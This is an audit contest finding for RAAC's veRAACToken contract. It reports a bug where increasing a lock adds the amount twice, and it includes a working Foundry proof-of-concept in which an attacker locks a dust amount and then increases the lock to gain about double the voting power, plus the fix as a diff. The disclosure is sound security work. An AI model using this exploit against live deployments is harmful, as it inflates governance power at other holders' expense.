Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Attackers can double voting power and veToken amount by locking and increasing

Summary

Incorrect bias update in veRAACToken.increase method allows a malicious user receive more voting power and veToken than deserved by locking and then increasing.

Vulnerability Details

Root Cause Analysis

Users can lock raacToken for voting power and veRAACToken.

veRAACToken minted amount represents initial voting power, and it is calculated as the following ref:

power = lockAmount * duration / MAX_LOCK_DURATION

However, when users increase their position, total lock amount is calculated incorrectly:

// Increase lock using LockManager
@> _lockState.increaseLock(msg.sender, amount); // @audit amount is already added
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
@> userLock.amount + amount, // @audit new amount is added again
userLock.end
);

As we can see in the comment, userLock.amount is already incremented by increased amount. But increased amount is added to userLock.amount again when calculating new bias.

So the following thing happens on increase:

newBias = (existingLockAmount + increasedAmount * 2) * duration / MAX_LOCK_DURATION

This means that, for given raacToken amount, if you keep existingLockAmount to almost zero, and keep increasedAmount to total raacToken amount you have, you will mint almost double veToken and voting power.

Consider the following scenario:

  • Eve has 100 raacToken

  • Eve locks dust amount 1e-18 raccToken to create an initial position

  • Eve immediately increases the position by locking the rest of raacToken

  • Eve will receive around 200 veToken and 200 voting power

POC

Scenario

POC scenario is similar to the one in the Vulnerability Details section.

To illustrate the vulnerabilty more clearly, POC has two actors: alice and eve

  • alice locks 100 raacToken and receives 100 veToken and voting power

  • eve exploits the vulnerability and mints nearly 200 veToken and voting power with the same amount of raacToken

How to run the POC

pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {veRAACToken} from "../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
contract veRAACTokenTest is Test {
RAACToken raacToken;
veRAACToken veToken;
address alice = makeAddr("alice");
address eve = makeAddr("eve");
uint256 raacTokenAmount = 100e18;
function setUp() external {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new veRAACToken(address(raacToken));
veToken.setMinter(address(this));
}
function testLockAndIncrease() external {
// alice just locks 100 raacToken
_userLocks(alice, raacTokenAmount, veToken.MAX_LOCK_DURATION());
emit log_named_decimal_uint("alice voting power", veToken.getVotingPower(alice), 18);
emit log_named_decimal_uint("alice veToken balance", veToken.balanceOf(alice), 18);
// eve first locks dust amount
_userLocks(eve, 1, veToken.MAX_LOCK_DURATION());
// eve then increases the lock position by using rest of the raacToken
_userIncreases(eve, raacTokenAmount - 1);
emit log_named_decimal_uint("eve voting power", veToken.getVotingPower(eve), 18);
emit log_named_decimal_uint("eve veToken balance", veToken.balanceOf(eve), 18);
// eve has nearly double voting power and veToken balance as alice
assertGt(veToken.getVotingPower(eve), veToken.getVotingPower(alice));
assertGt(veToken.balanceOf(eve), veToken.balanceOf(alice));
}
function _userLocks(address user, uint256 amount, uint256 duration) internal {
raacToken.mint(user, amount);
vm.startPrank(user);
raacToken.approve(address(veToken), amount);
veToken.lock(amount, duration);
vm.stopPrank();
}
function _userIncreases(address user, uint256 amount) internal {
raacToken.mint(user, amount);
vm.startPrank(user);
raacToken.approve(address(veToken), amount);
veToken.increase(amount);
vm.stopPrank();
}
}

Console Output

[PASS] testLockAndIncrease() (gas: 907293)
Logs:
alice voting power: 100.000000000000000000
alice veToken balance: 100.000000000000000000
eve voting power: 199.999999999999999999
eve veToken balance: 199.999999999999999999

Impact

  • Attackers can have double voting power and veToken balance for given fund

  • Increase-and-extend will grant more power and veToken than extend-and-increase, because increase-and-extend will inflate incresed amount by multiple of extended duration

Tools Used

Manaual Review, Foundry

Recommendations

The following diff will solve the problem:

diff --git a/contracts/core/tokens/veRAACToken.sol b/contracts/core/tokens/veRAACToken.sol
index 2dbeefc..f60aca9 100644
--- a/contracts/core/tokens/veRAACToken.sol
+++ b/contracts/core/tokens/veRAACToken.sol
@@ -257,7 +257,7 @@ contract veRAACToken is ERC20, Ownable, ReentrancyGuard, IveRAACToken {
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
- userLock.amount + amount,
+ userLock.amount,
userLock.end
);
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doubles the voting power of users

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.